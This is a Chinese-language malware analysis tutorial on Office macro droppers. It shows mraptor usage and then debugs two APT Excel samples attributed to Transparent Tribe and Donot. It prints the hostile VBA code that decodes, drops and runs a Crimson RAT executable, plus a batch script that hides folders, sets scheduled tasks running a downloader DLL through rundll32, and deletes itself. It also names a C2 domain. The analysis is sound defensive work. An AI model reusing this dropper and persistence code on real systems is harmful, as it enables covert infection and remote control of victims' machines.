Usage: mraptor [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
-m, --matches Show matched strings.
An exit code is returned based on the analysis result:
- 0: No Macro
- 1: Not MS Office
- 2: Macro OK
- 10: ERROR
- 20: SUSPICIOUS
如果要扫描单个文件,可以使用如下命令
mraptro file.doc
0x02 TransparentTribe的Dropper样本
样本md5:bce8a8ea8d47951abffeec38fbeeeef1
样本app.any.run沙箱链接:https://app.any.run/tasks/d6d22f4e-0376-49f5-8480-d07489a4e03b/
且从any的沙箱中,我们可以看到,该样本原始类型是xls。
我们将样本下载到本地,然后添加xls后缀打开(本地测试环境为office2013)。
该样本打开之后,没有任何的信息,office官方弹框提示用户选择启用/禁用宏。
这里如果选择禁用的话,那么后续文档将显示为空:
这是攻击者一种迷惑用户的手法,诱导用户第二次重新打开并启用宏:
翻译后内容大概如下:
翻译文档内容的意义在于,通常来说,为了隐藏攻击痕迹,攻击者都会使用一个看起来正常的文档以迷惑用户。让用户以为打开的就是正常的文档,当用户认定这是一个正常文档,文档中的内容有”价值”时,往往就不会起疑心,木马就能够长时间的运行在用户的计算机上。所以我们通过文档的内容,通常情况下就可以推测出受攻击的目标。可以在攻击的背景分析中提供一些有用的信息。
我们从该样本的文档内容中大概可以得知此次攻击的目标是国防部,文档中提到了一个jsls@ddpmod.gov.in的邮箱,我们通过对后面域名的查询,基本可以确定该文档是针对印度国防部的攻击文档:
由这个信息,我们也可以大概的对攻击者进行一个猜测。
由攻击目标为印度,根据已有的信息,我们可以找到一些针对印度的攻击组织,如Confucius 、APT36(C-Major、Transparent Tribe)、GravityRAT等。
接下来我们看看具体的恶意宏代码。
在打开的xls文档中,安ALT + F11,即可打开宏窗口,红框中的内容即为该文档的宏对象。
依次展开选项卡,可以看到有两个对象有数据,一个是名为UserForm1的窗体,一个是名为Module1的模块
我们直接将鼠标光标定位到右边的Module1模块中,然后按下键盘的F8,开始调试。
在通过office调试宏代码时,调试的快捷键和od、x64dbg这种调试器有部分区别,具体如下:
这里F8类似于od中的F7,会逐语句执行代码,当遇到函数调用时,F8会跟进到函数内部。
逐过程Shift + F8相当于od中的F8,遇到函数调用时,将会直接执行完函数而不进入函数。
运行到光标处 Ctrl + F8 相当于od中的F4
此外,在宏调试器中,设置断点是F9,运行程序是F5。所以我们之后在调试宏代码时,我们也可以直接在某行代码设置断点,然后F5运行到断点处。
我们这里直接F8就是在当前的模块窗口中,开始调试宏代码,调试的方式是单步运行。
通常来说,F8运行之后,程序就会停在该模块的入口点。标黄显示,并且在最下面的本地窗口中会显示一些将要使用到的变量。
有时候不小心关闭了本地窗口,我们需要在视图窗口中重新打开。
接下来我们来看看代码,既然是调试VBA的代码,我们需要先对VBA的语法有个认识。比如应该知道Dim用于定义变量。
在代码最开始,程序定义了多个变量
Dim path_Aldi_file As String
Dim file_Aldi_name As String
Dim zip_Aldi_file As Variant
Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String
file_Aldi_name = “rlbwrarhsa”
对file_Aldi_name进行了赋值。
fldr_Aldi_name = Environ$(“ALLUSERSPROFILE”) & “Tdlawis”
对fldr_Aldi_name进行赋值。
其中,Environ$(“ALLUSERSPROFILE”) 表示获取%ALLUSERSPROFILE%环境变量,&符号表示拼接。
所以该语句运行完之后,fldr_Aldi_name = %ALLUSERSPROFILE%Tdlawis
当然,我们也可以直接按F8单步往下走,在调试器中查看对应的值,这是最快的方法。
接下来,程序通过VBA的Dir方法判断上面的fldr_Aldi_name路径是否存在,如果不存在则通过MkDir创建该路径。
If Dir(fldr_Aldi_name, vbDirectory) = "" Then
MkDir (fldr_Aldi_name)
End If
Tdlawis路径创建成功之后,程序将对fldrz_Aldi_name 重新赋值,并且通过同样的手法尝试创建%ALLUSERSPROFILE%Dlphaws路径。
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"
If Dir(fldrz_Aldi_name, vbDirectory) = "" Then
MkDir (fldrz_Aldi_name)
End If
接下来程序通过
zip_Aldi_file = fldrz_Aldi_name & “omthrpa.zip”
声明一个zip路径,路径应该为%ALLUSERSPROFILE%Dlphawsomthrpa.zip
path_Aldi_file = fldr_Aldi_name & file_Aldi_name & “.exe”
声明一个path路径,路径应该为:%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe
接下来,程序通过Application.OperatingSystem获取当前操作系统的版本并根据不同的情况进行不同的处理,如果当前系统版本为6.02或6.03,程序将获取UserForm1.TextBox2.Text的信息赋值给ar1Aldi。否则获取UserForm1.TextBox1.Text的内容赋值给ar1Aldi。
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then
ar1Aldi = Split(UserForm1.TextBox2.Text, ":")
ar1Aldi = Split(UserForm1.TextBox1.Text, ":")
End If
关于获取操作系统版本信息的文档,可在这里找到。
操作系统判断完成之后,程序就会将我们之前看到的窗体中的数据赋值给ar1Aldi变量:
然后通过一个for each循环对刚才赋值的ar1Aldi进行解密:
For Each vl In ar1Aldi
ReDim Preserve btsAldi(linAldi)
btsAldi(linAldi) = CByte(vl)
linAldi = linAldi + 1
然后我们可以直接光标定位到循环后面的代码,按Ctrl + F8 跑完循环
这里我们可以看到,程序会通过二进制流的方式打开zip_Aldi_file,也就是先前定义的zip文件,然后将刚才的btsAldi进行写入。
Open zip_Aldi_file For Binary Access Write As #2
Put #2, , btsAldi
Close #2
写入成功之后,程序会尝试将该zip包进行解压。
If Len(Dir(path_Aldi_file)) = 0 Then
Call unAldizip(zip_Aldi_file, fldr_Aldi_name)
End If
解压的文件是zip_Aldi_file,解压的路径是fldr_Aldi_name
解压成功后将会在fldr_Aldi_name目录下出现目标文件:
最后程序通过
Shell path_Aldi_file, vbNormalNoFocus
启动该exe,程序即从xls文件成功转入到了exe文件运行。
由于该exe由C#编写,是一个Crimson远控,关于该类木马的分析,将在后续的文章中进行介绍。
从这个样本中,我们初步了解了office宏代码的攻击方式。
1.诱导用户启用宏,诱导方式,如果不启用宏,xls文档打开之后将不现实任何内容
2.将预定义的zip数据流简单转换之后写入到窗体中
3.根据操作系统版本的不同,取窗体中不同的值
4.将取出来的数据进行简单变换之后还原为zip文件
5.解压zip文件得到一个Crimson远控
6.运行该远控
0x03 donot恶意文档分析
样本md5:4428912f168f3f1f0554126de7b4eced
any沙箱连接为:
https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/
同样的,通过any沙箱,我们可以得知该样本还是一个xls文档,我们将样本下载到本地并添加xls后缀打开。
同样的弹出了禁用宏的提示框:
启用宏之后,程序看起来是报错了
之前的经验告诉我们,这样的弹框信不得,我们单击确定之后,还是通过ALT + F11打开宏调试窗口,单击左边的对象时,发现该文档有密码保护:
通过之前介绍的工具,将密码去除之后重新打开,得到对象列表如下:
我们通过观察,可以得知关键的代码在名为ThisWorkbook的对象中:
同样的,我们对该段代码进行调试分析。
代码开头还是通过Dim定义了几个变量,然后通过Environ获取了环境变量APPDAT和TEMP的路径分别赋值给Digital和request
Digital = Environ$(“APPDATA”)
request = Environ$(“TEMP”)
Application.Wait Now + TimeValue(“0:00:03”)
休眠之后通过
a = MsgBox(“Microsoft Excel has stopped working”, vbCritical, “Warning”)
进行弹框,弹框内容就是我们先前看到的提示框,这就是第二种迷惑用户的手法。
在上一个样本中,恶意宏代码运行之后,程序会显示一个看起来正常的xls文档以消除用户的疑心。在本样本中,恶意代码运行之后,程序是通过弹框提示用户文档打开错误以消除用户的疑心。两种方法的目标都在于,让用户误以为,打开的文档是没有问题的。
弹框之后,程序会通过
sunjava = “Scr” + “ipting.File” + “System” + “Object”
Set digit = CreateObject(sunjava)
创建一个Scripting.FileSystemObject对象
接着程序将通过
Sheet12.OLEObjects("Object 1").Copy
Sheet8.OLEObjects("Object 1").Copy
digit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbook
digit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook
分别将sheet中的数据拷贝到Digital,也就是%appdata%中并且命名为s和s.bat
https = Digital & “” & “s.bat”
Call Shell(https, vbHide)
拼接s.bat的路径并且再次通过Shell指令运行。
至此宏代码运行完成。
我们可以看到,在该样本中,宏代码很短,宏代码的功能位
1.弹框迷惑用户
2.释放一个S文件,经查看为一个PE文件
3.释放一个s.bat批处理文件
4.调用执行s.bat文件
到这里我们也可以猜测出,s.bat文件将用于调用执行s文件。
我们查看一下s.bat的内容:
echo off
md %USERPROFILE%InetLogsCust
md %USERPROFILE%InetLogsPool
md %USERPROFILE%CommonBuildOffice
md %USERPROFILE%FilesSharedWeb
md %USERPROFILE%ViewerInformationPolicy
attrib +a +h +s %USERPROFILE%Inet
attrib +a +h +s %USERPROFILE%Common
attrib +a +h +s %USERPROFILE%Files
attrib +a +h +s %USERPROFILE%Viewer
del /f %USERPROFILE%InetLogsPoolagnia
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 2
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagnia
schtasks /delete /tn Feed /f
schtasks /delete /tn Sys_Core /f
schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exe
schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"
move %AppData%s %USERPROFILE%ViewerInformationPolicy
ren %USERPROFILE%ViewerInformationPolicys sqmap.dll
del %0
bat文件的语法还是比较简单明了的,通过bat的内容,我们可以得知程序获取了计算机的COMPUTERNAME和一个随机值写入到了%USERPROFILE%InetLogsPoolagnia,然后程序设置了两个计划任务,并且将%appdata%下的s文件移动到了%USERPROFILE%ViewerInformationPolicys并重命名为sqmap.dll
计划任务1:
计划任务2:
我们查看计划任务1所指定的目录文件可以发现暂时是0kb
查看计划任务2所指定的任务,可以看到文件已经成功移动过来:
通过hash查询可以确定s和sqmap.dll是同一个文件:
且我们通过计划任务2可以得知,这里是通过rundll32.exe 调用了这个名为sqlmap.dll的calldll方法。
目前vt(2020-06-24)上关于sqlmap.dll检出量为0:
我们可以对sqlmap.dll进行一个简单的分析。
首先通过IDA加载sqlmap.dll,我们可以得到PDB信息:C:UsersspartanDocumentsVisual Studio 2010new projectsfrontendReleasetest.pdb
该pdb以前未出现过,而且结合test.pdb的字眼,该样本可能是攻击者开发的测试版本。
calldll在导出表中
calldll函数体很简单,就执行来一个call sub_10001280 我们跟进到该函数。
sub_10001280 首先是通过strcpy复制了一个看起来像是加密字符串的东西到变量
bbLorkybbYngxkjbb]khbbmgvjgz4k~k
该字符串暂时在Google上没有检出:
回到代码中,接下来程序会对上面的字符串进行解密:
调试器中直接在calldll函数这里设置eip然后运行:
F7跟进进来
成功解密之后发现就是先前看到的路径
回到IDA中进行标注后继续往下看,成功解密之后,尝试打开文件对象,打开失败,则push16A26h然后执行slepp,sleep之后调用sub_10001000,这里的sleep应该是用于反沙箱的
sub_10001000的内容非常明显,是解密URL并请求,所以很明显,sqlmap.dll是一个Download,比较直观的C伪代码显示:
根据之前看到的信息,可以猜测这里是解密了域名之后,下载文件保存到之前看到大小为0kb的路径下,然后通过计划任务持久化执行。
dnsresolve.live
该地址已经跟donot关联了起来
解析参数是
但是目前这个地址404了,不知道是不是我请求姿势的问题
于是查询了一下h6s87ehsci75sgats关键字:
发现沙箱和vt也是404 ,这里后续就断了
加上header也是404
那么此次攻击分析到这就没有后续了,不知道是不是因为样本曝光,攻击者撤销了后续下载样本的原因。还是攻击者已经通过bat文件实现了本地持久化,所以故意暂时没有开放目标地址,防止分析人员,等热度过去了之后,再放开这个地址。如果是后面这种情况,可以考虑写脚本监视这个地址,看看过段时间是否有返回。
0x04 总结
在本小节中,我们对office恶意宏代码有了概要的了解并且通过两个简单的apt样本进行了分析,我们可以看到,宏代码在实际攻击中使用是非常广泛的,因为宏代码嵌入在文档中,是最容易和用户进行交互的部分,也往往是攻击者攻击中的第一部分。在本小节中我们分析了两个xls文档的宏代码,在下一小节我们将对带有混淆和反调试的宏代码进行调试和分析。